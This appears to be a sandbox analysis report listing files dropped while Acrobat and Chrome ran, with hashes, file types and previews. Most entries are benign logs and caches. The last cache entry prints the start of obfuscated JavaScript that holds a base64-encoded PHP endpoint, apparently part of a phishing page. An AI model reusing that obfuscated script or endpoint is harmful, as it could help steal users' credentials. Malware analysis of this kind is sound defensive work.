SHA-512:	DA665478A6541072C5FCB30620C7DE1E87CF12D0E29B089469AF7607A29ECA1266BEA4DE033C70527B43CD769129100DD40932958E9D4915F1EBDF98F12A2DB0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"daeabb5f-cb3f-4323-bec7-32de78d97e60","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1738440165634,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.149051076208972
Encrypted:	false
SSDEEP:	24:YfSzdaumayFMZ9OBriEr/tW+rjQej0SxaV2cKe2LSTCtMOuxuMFDhy5m+79mzL0N:Yq51T6riGVHT4VxGMOusMFw779mzLg
MD5:	A3F028DFD896E3BFACD397F7DF593701
SHA1:	9AD881CCC9A3E6069A8D921047C1FC93C98402F1
SHA-256:	28A025B64EC7A13B3E60555EAC98FFEBB6E1C26C0155C1CDC1A48B619E3176C3
SHA-512:	89D306FCF445CDFFC0A197962E260CD43E101D48F3E321DE5D526C52ADCF3CFE888B00CA6E8A289EA3FD7F1CAE76DCB93124A5749A836127920E637F8F7A23AE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b747bf979534a1b56df716312dc79900","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1738261455000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3385949c42605b52d18f4c19b7b6472d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1738261455000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4463b2e4f5e6d4eab2951efaf781c858","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1738261455000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d52eb5ebacf463dae6019b8c4318631f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1738261455000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8a04e4bad8d36459dcb29b440396e249","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1738261455000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5af85c02c41213c9b25598e14f218629","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1882181752583099
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUNSvR9H9vxFGiDIAEkGVvp9:lNVmswUUUUUUUUN+FGSIt5
MD5:	0A62561FE9BEBB56FA9CC0399CA9C74B
SHA1:	E39984762865C0254B5D8955364D2C49107B20C3
SHA-256:	850EF78195697742EB4BF2A0B5865E136FDDC2859C44DB45A349DE36C2D46EF1
SHA-512:	A1D50D74F93CEF9B081A9222E4033CA31B813A20C337C90BCBA4D2A572A93BDBE6430575B21BD333836AF803D00F46616F8AB026BA115AAEBF86CF0F50183FC0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6080927846414228
Encrypted:	false
SSDEEP:	48:7MNKUUUUUUUUUU1vR9H9vxFGiDIAEkGVvqqFl2GL7ms/:7HUUUUUUUUUUxFGSItkKVms/
MD5:	23D0F4A73EC896CBDF94FCA1D5C73FFB
SHA1:	7A3B0BA5AAA5E613855A1FDF512207B4DC30922B
SHA-256:	8452D1068D78D2289AB592F1EB1BB00A6BDB2A9E5BE44A11EA5AE876F48149F8
SHA-512:	FDA93FC64073E245BF22ED2DD4DA29E3EE7717BEFDCA48A79F06E71DCFEA0781257B3ABBF6DE248FF6C2C9A3EFE2AD5A1A26D5273B305292E4143C61987AF0BD
Malicious:	false
Preview:	.... .c......g........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgfjZnpPQIkYzuYdQNEa9a/LP2jIYaYyu:6a6TZ44ADEfj1pPQIHXdwabrDK
MD5:	791E0279AF79884935E5363280A2967A
SHA1:	8C1E2763C5F186DFDD987FEA3B1F6C0F55F259EF
SHA-256:	3BA2E384DD142B892B00D4FAB6F80348F56E3138FF746F8081F7DC2E2EBC48FA
SHA-512:	5C652F535B82A3E5B818952E3D2123238EE239E57115DFD9FF0F26B3271D39CCB4BE5B680604DA632814D31A560490F4FEE5E88DDB313041C3CFE2370AC93C15
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI97a6e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K87bClEmH:Qw946cPbiOxDlbYnuRKIbDmH
MD5:	6D93ABDBAE7B11423ADA8278CF00927B
SHA1:	4ED89CA3F7860C1E78CB4A5AD6A841EFB64E6011
SHA-256:	AADDCFA40405747B3A63AF89DA9F2E181D637FEC881AA93201D93FFBDC16B94C
SHA-512:	51B0B9048D576923B090184509D6DF43A5CD27EDCA5C6969E96B833220FB9C53E5E68B3971B659AD9EFAFD64989EECEF795E3FFB761FA47FA1B0B2B73E774591
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .3.0./.0.1./.2.0.2.5. . .1.3.:.2.4.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-30 13-24-08-142.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361201052360424
Encrypted:	false
SSDEEP:	384:5LxK5L+RTWPRmQ1ZHvRMQXTSOhINVqCTQPu60s8ZIoyfRxidrqCTjOjerUiMoxR7:9SM
MD5:	F6203B0020C219B44350498402D0F489
SHA1:	B5967A9F9682145E2F853F0788003419737446BC
SHA-256:	E64E53972007C2FF24C0B42E9C0B6D32616A8DD806E33840499C2301DB5AF7AE
SHA-512:	7F5494A533E556544323B1403EBFD880C6C32BF9C1EE56E9FDEFC6E64A362479722CABEA2BF8C9DCDE42246A3A8D2EB18C5663E1C8FC99073CD8F15136C3FB85
Malicious:	false
Preview:	SessionID=f49597ec-abce-401d-b12f-64de7a063da8.1738261448168 Timestamp=2025-01-30T13:24:08:168-0500 ThreadID=6660 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f49597ec-abce-401d-b12f-64de7a063da8.1738261448168 Timestamp=2025-01-30T13:24:08:169-0500 ThreadID=6660 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f49597ec-abce-401d-b12f-64de7a063da8.1738261448168 Timestamp=2025-01-30T13:24:08:169-0500 ThreadID=6660 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f49597ec-abce-401d-b12f-64de7a063da8.1738261448168 Timestamp=2025-01-30T13:24:08:169-0500 ThreadID=6660 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f49597ec-abce-401d-b12f-64de7a063da8.1738261448168 Timestamp=2025-01-30T13:24:08:169-0500 ThreadID=6660 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.384338475377707
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r9:R
MD5:	EF6221DD9F8B85E35386CEC6B9EA9216
SHA1:	AA49D16F583B518025AEB872478E02497C1D57D6
SHA-256:	035246A3741BF621EE14475F3C3AAEAE016C39BC415650D769A76CB7D939A879
SHA-512:	87D8060B504D51521D0FE8086865A42015049651A4ED8D9A90DB05AB21E9EDDFC18B4339C16DAF12AF105436470F5E976087DCF7629265E639082D989E8D4FA3
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\154b2088-884f-48c2-af6b-f5e01412fcf6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x3GZftwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J3GZVwZG5WLxB3mlind9i4ufFXpAXkru
MD5:	AD8FA68AE8EC3624D34A7140F884772B
SHA1:	869AE04E5DA90B965F827ACCC3FCF28FAE0195D8
SHA-256:	5D1AB0F0194CA1128AA56B192BFC447EFCD58C3535D6DF08FCC763817A0CCAB4
SHA-512:	80ADAA07B14E057E7245E73A51B2AEABD853F22C61B54BCC94D93F71EDAA7CFFAB2EE3CE466C6F8EF82967F723F64E44D21090F029DB6D7DDBC6BDDF3A226289
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\1d5b5478-03d8-4f39-a176-2f3c7c5f6199.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPjmeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZGZXWLxYGZN3mlind9i4ufFXpAXkru
MD5:	0465409462EB7F36D1990D676905CD0B
SHA1:	D6FB1587A9461ED1D200780C780AD695F8AC51D4
SHA-256:	8B0EE4393D81DFCCAC180FAE860DFD14AEA648531353F16D010E2C4D2C4E8B19
SHA-512:	6DD67E3F828D9AD81C5C050B769EC5A694C2F97C7F83C54D88069A289034B102FFCCD17433218AB1A1E9CA560FBB4391BAF577CBFEBA009AD662EE259B5BB0CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a8165a16-7fca-4862-9e18-994a05b9e696.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d2b3b7c4-d505-4dd6-81d0-bd252d01610b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 27 x 70, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlWTdqsyxl/k4E08up:6v/lhPZ7Tp
MD5:	3E9D990A5A03F829712D9BEC6E99C6FB
SHA1:	4A16FC940360B9AA50A7BD26D450C3956F40061E
SHA-256:	6CEF449524F4C595B0C67F86B1A8F00605CCC6108155B0237858AC5F4541D867
SHA-512:	01B27A9896ECB3154B1EBB35014514BAE9B0DD635D065BCC2402C501423604F0A726278C8B6C56592248B018436A7427ED2613F086587F5896859F44967768E3
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/90a37f855bab32ca/1738261460462/wyd_xOB22597l8n
Preview:	.PNG........IHDR.......F.......x+....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 27 x 70, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlWTdqsyxl/k4E08up:6v/lhPZ7Tp
MD5:	3E9D990A5A03F829712D9BEC6E99C6FB
SHA1:	4A16FC940360B9AA50A7BD26D450C3956F40061E
SHA-256:	6CEF449524F4C595B0C67F86B1A8F00605CCC6108155B0237858AC5F4541D867
SHA-512:	01B27A9896ECB3154B1EBB35014514BAE9B0DD635D065BCC2402C501423604F0A726278C8B6C56592248B018436A7427ED2613F086587F5896859F44967768E3
Malicious:	false
Preview:	.PNG........IHDR.......F.......x+....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446), with CRLF line terminators
Category:	dropped
Size (bytes):	553324
Entropy (8bit):	4.912224928465184
Encrypted:	false
SSDEEP:	6144:DTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:6ay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	82E842AC19FB1E45C8E70DBB9D6BF76D
SHA1:	004DD71DEDA63E9BF6166F395984699E01C51427
SHA-256:	15369BE2B2E0EF94B7F952F4D1AED02E67C135B65FA0B4560DF72847A7E16F16
SHA-512:	070498D04AAAB931843C0C5A8A9F4A0B2AFF66FFFF1E9C5777CB342B83E1A1A209E7C85ACC04D756B0012578770220CB6AC04BA11947278D2BFADF753B35958C
Malicious:	false
Preview:	var file = "aHR0cHM6Ly83ODIxMzczNjUuZmVkZXJhbGhvc3RpbmdzZXJ2aWNlcy5jb20vbmV4dC5waHA=";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#